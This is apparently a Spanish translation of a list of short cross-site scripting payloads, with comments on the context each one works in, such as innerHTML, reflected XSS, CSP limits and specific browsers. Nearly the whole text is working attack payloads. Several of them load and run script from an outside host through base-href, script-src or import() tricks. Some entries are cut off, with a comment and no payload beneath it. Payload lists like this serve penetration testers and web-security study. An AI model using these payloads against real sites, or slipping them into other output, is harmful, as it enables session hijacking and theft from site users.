
Una colección de pequeños payloads XSS que se pueden usar en diferentes contextos. https://tinyxss.terjanq.me
Una colección de cargas útiles XSS cortas que se pueden usar en diferentes contextos.
La DEMO disponible aquí: https://tinyxss.terjanq.me
<!-- Requiere que se inserte un script relativo en el DOM después del sumidero,
p. ej. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
<!-- Solo funciona como XSS reflejado -->
<svg/onload=eval(name)>
<!-- Si controlas la URL -->
<svg/onload=eval(`'`+URL)>
<!-- Si controlas el nombre, pero unsafe-eval no está habilitado -->
<svg/onload=location=name>
<!-- En Chrome, también funciona dentro de innerHTML, incluso en elementos aún no insertados en el DOM -->
<svg><svg/onload=eval(name)>
<!-- Si controlas el nombre de la ventana, esta carga útil funcionará dentro de innerHTML, incluso en elementos aún no insertados en el DOM -->
<audio/src/onerror=eval(name)>
<!-- Si controlas la URL, esta carga útil funcionará dentro de innerHTML, incluso en elementos aún no insertados en el DOM -->
<!-- Solo un script casual -->
<script/src=//NJ.₨></script>
<!-- Si controlas el nombre de la ventana -->
<!-- Si controlas la URL -->
<!-- Si el número de iframes en la página es constante -->
<!-- Solo para Firefox -->
<script/href=//NJ.₨ />">
<!-- Si el número de iframes en la página es aleatorio -->
<!-- Si unsafe-inline está deshabilitado en CSP y se permiten scripts externos -->
</script>">
<!-- Si se permiten estilos en línea -->
<style/onload=eval(name)>
<!-- Si se permiten estilos en línea y la URL se puede controlar -->
<style/onload=eval(`'`+URL)>
<!-- Si los estilos en línea están bloqueados -->
<style/onerror=eval(name)>
<!-- Usa un script externo como importación, no funciona en innerHTML -->
<!-- El PoC solo funciona en https y Chrome, porque NJ.₨ verifica el encabezado Sec-Fetch-Dest -->
<svg/onload=import(/\\NJ.₨/)>
<!-- Usa un script externo como importación, se activa si los estilos en línea están permitidos.
<!-- El PoC solo funciona en https y Chrome, porque NJ.₨ verifica el encabezado Sec-Fetch-Dest -->
<style/onload=import(/\\NJ.₨/)>
<!-- Usa un script externo como importación -->
<!-- El PoC solo funciona en https y Chrome, porque NJ.₨ verifica el encabezado Sec-Fetch-Dest -->
Obsoletos:
<!-- Si controlas la URL, solo Safari -->
<!-- Si los estilos en línea están permitidos, solo Safari -->
<style/onload=write(URL)>